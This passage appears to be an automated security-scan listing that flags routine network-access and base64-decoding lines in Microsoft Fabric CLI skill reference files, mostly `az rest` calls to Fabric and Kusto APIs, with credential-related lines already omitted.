    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 50
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 51
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 77
    az rest --method POST      --url "${CLUSTER_URI}/v1/rest/mgmt"      --resource "https://kusto.kusto.windows.net"
  • Network accessline 79
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 89
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 90
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 91
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 99
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 100
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 101
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 109
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 110
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 111
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 135
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 136
    --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 137
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 162
    az rest --method POST      --url "${CLUSTER_URI}/v1/rest/mgmt"      --resource "https://kusto.kusto.windows.net"
  • Network accessline 164
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 180
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 181
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 182
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 190
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 191
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 192
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 216
    az rest --method POST        --url "$ClusterUri/v1/rest/mgmt"        --resource "https://kusto.kusto.windows.net"
  • Network accessline 218
    --resource "https://kusto.kusto.windows.net" `
  • Network accessline 236
    az rest --method POST `   --url "$ClusterUri/v1/rest/query" `   --resource "https://kusto.kusto.windows.net" `
  • Network accessline 237
    --url "$ClusterUri/v1/rest/query" `   --resource "https://kusto.kusto.windows.net" `   --headers "Content-Type=application/json" `
  • Network accessline 238
    --resource "https://kusto.kusto.windows.net" `
  • Network accessline 258
    az rest --method POST        --url "$ClusterUri/v1/rest/mgmt"        --resource "https://kusto.kusto.windows.net"
  • Network accessline 260
    --resource "https://kusto.kusto.windows.net" `
  • Network accessline 272
    az rest --method POST        --url "$ClusterUri/v1/rest/query"        --resource "https://kusto.kusto.windows.net"
  • Network accessline 274
    --resource "https://kusto.kusto.windows.net" `

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/consumption.md

  • Network accessline 28
    | Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) | | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentica
  • Network accessline 29
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 30
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
  • Network accessline 76
    # Get workspace ID (if not known) WS_ID=$(az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 77
    WS_ID=$(az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 78
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 82
    # List KQL Databases and get connection properties az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 83
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases"
  • Network accessline 84
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 85
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 109
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 110
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 111
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 161
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 162
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 163
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 177
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 178
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 179
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 189
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 190
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 191
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 247
    | Symptom | Fix | |---|---| | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set |
  • Network accessline 248
    |---|---| | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set | | Empty results on valid table | Check database context; may need `database("name").table` |
  • Network accessline 249
    | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set |
  • Network accessline 271
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 272
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 273
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 282
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 283
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 284
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 293
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 294
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 295
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 332
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 333
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 334
    --resource "https://kusto.kusto.windows.net" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/references/authoring.md

  • Network accessline 65
    Create a new Event Schema Set with the [Create Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/create-event-schema-set)
  • Network accessline 66
    [Create Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/create-event-schema-set)
  • Network accessline 78
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 79
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 80
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 94
    PAYLOAD=$(printf '%s' "$DEF_JSON" | base64 -w0)   # macOS: base64 | tr -d '\n' az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 95
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets"
  • Network accessline 96
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 97
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 111
    Change an existing item's `displayName` or `description` with the [Update Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set)
  • Network accessline 112
    [Update Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set)
  • Network accessline 118
    az rest --method PATCH \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 119
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 120
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 132
    Override the item's definition — its full `eventTypes` and `schemas` — with the [Update Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set-definition)
  • Network accessline 133
    [Update Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set-definition)
  • Network accessline 161
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/updateDefinition" \
  • Network accessline 162
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/updateDefinition" \
  • Network accessline 163
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 174
    Remove an Event Schema Set with the [Delete Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/delete-event-schema-set)
  • Network accessline 175
    [Delete Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/delete-event-schema-set)
  • Network accessline 184
    # Append ?hardDelete=true to the URL to delete permanently. az rest --method DELETE \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 185
    az rest --method DELETE    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}"
  • Network accessline 186
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 187
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 247
    See the [EventSchemaSet definition article](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition)
  • Network accessline 261
    already names the target item AND the destructive/overwrite action IS the confirmation, so proceed with the single   write after echoing. Ask for a separate confirmation only when the target or intent is ambiguous. - **Always pass `--resour
  • Network accessline 262
    write after echoing. Ask for a separate confirmation only when the target or intent is ambiguous. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls. - **Always resolve workspace and item IDs via JMESPath f
  • Network accessline 263
    - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/references/consumption.md

  • Network accessline 57
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 58
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 59
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 67
    ITEM_NAME="my-event-schema-set" az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 68
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets"
  • Network accessline 69
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 70
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 76
    Return the properties of a single Event Schema Set with the [Get Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set)
  • Network accessline 77
    [Get Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set)
  • Network accessline 81
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 82
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 83
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 108
    Retrieve the full definition of a selected Event Schema Set with the [Get Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set-definition)
  • Network accessline 109
    [Get Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set-definition)
  • Network accessline 115
    > Spec: [EventSchemaSet definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition)
  • Network accessline 138
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \
  • Network accessline 139
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \
  • Network accessline 140
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 149
    # Using jq + base64 (Linux; on macOS use base64 -D instead of -d) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \
  • Network accessline 150
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition"
  • Network accessline 151
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \
  • Network accessline 152
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 159
    # PowerShell (Windows) $def = az rest --method POST `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" `
  • Network accessline 160
    $def = az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition"
  • Network accessline 161
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" `
  • Network accessline 162
    --resource "https://api.fabric.microsoft.com" `
  • Possible obfuscationline 165
    [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json | ConvertTo-Json -Depth 10
  • Network accessline 248
    for something read-only ("inspect X, and also delete it"), complete the read-only part and   refuse only the mutation — leaving the item unchanged. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
  • Network accessline 249
    refuse only the mutation — leaving the item unchanged. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - **Always use JMESPath filtering** to resolve workspace name → ID and item name → ID
  • Network accessline 250
    - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/references/authoring.md

  • Network accessline 44
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 45
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 46
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 84
    # 4. Submit via Items API az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" \
  • Network accessline 85
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items"
  • Network accessline 86
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" \
  • Network accessline 87
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 123
    > **API Note**: The Eventstream Definition APIs use `POST` with action verbs (`getDefinition`, `updateDefinition`), not `GET`/`PUT` on a `/definition` resource. This follows the Fabric Items Definition pattern. See [official docs](https://l
  • Network accessline 170
    az rest --method post `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/pause" `
  • Network accessline 171
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/pause" `
  • Network accessline 172
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 182
    try {   az rest --method post `     --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" `
  • Network accessline 183
    az rest --method post      --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume"
  • Network accessline 184
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" `
  • Network accessline 185
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 206
    az rest --method DELETE \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \
  • Network accessline 207
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \
  • Network accessline 208
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 219
    - **Always base64-encode** the `eventstream.json` payload before submitting definitions - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
  • Network accessline 220
    - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
  • Network accessline 231
    - Set `retentionTimeInDays` explicitly rather than relying on defaults - Validate cloud connections before referencing them in source configurations - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureS
  • Network accessline 232
    - Validate cloud connections before referencing them in source configurations - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureServiceBus`, `AzureSQLDBCDC`, `MySQLCDC`, `Mqtt`, `SolacePubSub`, most n
  • Network accessline 233
    - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureServiceBus`, `AzureSQLDBCDC`, `MySQLCDC`, `Mqtt`, `SolacePubSub`, most non-`SampleData`/`CustomEndpoint` sources) and the user has not supplied one, f
  • Network accessline 260
    # 1. Discover workspace ID $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 261
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 262
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 263
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 270
    [IO.File]::WriteAllText($bodyFile, $esBody, [System.Text.UTF8Encoding]::new($false)) $created = az rest --method post `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 271
    $created = az rest --method post    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams"
  • Network accessline 272
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 273
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 312
    [Credential-related source omitted]
  • Network accessline 313
    [Credential-related source omitted]
  • Network accessline 314
    [Credential-related source omitted]
  • Network accessline 315
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" `
  • Network accessline 316
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition"
  • Network accessline 317
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" `
  • Network accessline 351
    # 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 352
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 353
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 358
    $esId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 359
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 360
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 364
    [Credential-related source omitted]
  • Network accessline 365
    [Credential-related source omitted]
  • Network accessline 366
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" `
  • Network accessline 367
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition"
  • Network accessline 368
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" `
  • Possible obfuscationline 400
    [Convert]::FromBase64String($esPart.payload)) | ConvertFrom-Json
  • Network accessline 449
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" `
  • Network accessline 450
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition"
  • Network accessline 451
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" `
  • Network accessline 484
    # 1. Discover workspace ID $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 485
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 486
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 487
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 557
    [Credential-related source omitted]
  • Network accessline 558
    [Credential-related source omitted]
  • Network accessline 559
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" `
  • Network accessline 560
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items"
  • Network accessline 561
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" `
  • Network accessline 593
    # 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 594
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 595
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 596
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 600
    $esId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 601
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 602
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 606
    # 2. Delete az rest --method delete `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" `
  • Network accessline 607
    az rest --method delete    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId"
  • Network accessline 608
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" `
  • Network accessline 609
    --resource "https://api.fabric.microsoft.com"

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/references/consumption.md

  • Network accessline 46
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 47
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 48
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 54
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 55
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 56
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 63
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \
  • Network accessline 64
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \
  • Network accessline 65
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 78
    > **API Note**: The Eventstream Definition API uses `POST .../getDefinition`, not `GET .../definition`. This follows the Fabric Items Definition pattern. See [official docs](https://learn.microsoft.com/en-us/fabric/real-time-intelligence/ev
  • Network accessline 81
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \
  • Network accessline 82
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \
  • Network accessline 83
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 92
    # Using jq + base64 (Linux; on macOS use base64 -D instead of -d) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \
  • Network accessline 93
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition"
  • Network accessline 94
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \
  • Network accessline 95
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 102
    # PowerShell (Windows) $def = az rest --method POST `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" `
  • Network accessline 103
    $def = az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition"
  • Network accessline 104
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" `
  • Network accessline 105
    --resource "https://api.fabric.microsoft.com" `
  • Possible obfuscationline 108
    [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json | ConvertTo-Json -Depth 10
  • Network accessline 133
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \
  • Network accessline 134
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \
  • Network accessline 135
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 141
    # Extract the sourceId for a Custom Endpoint source (use name filter if multiple exist) SOURCE_ID=$(az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \
  • Network accessline 142
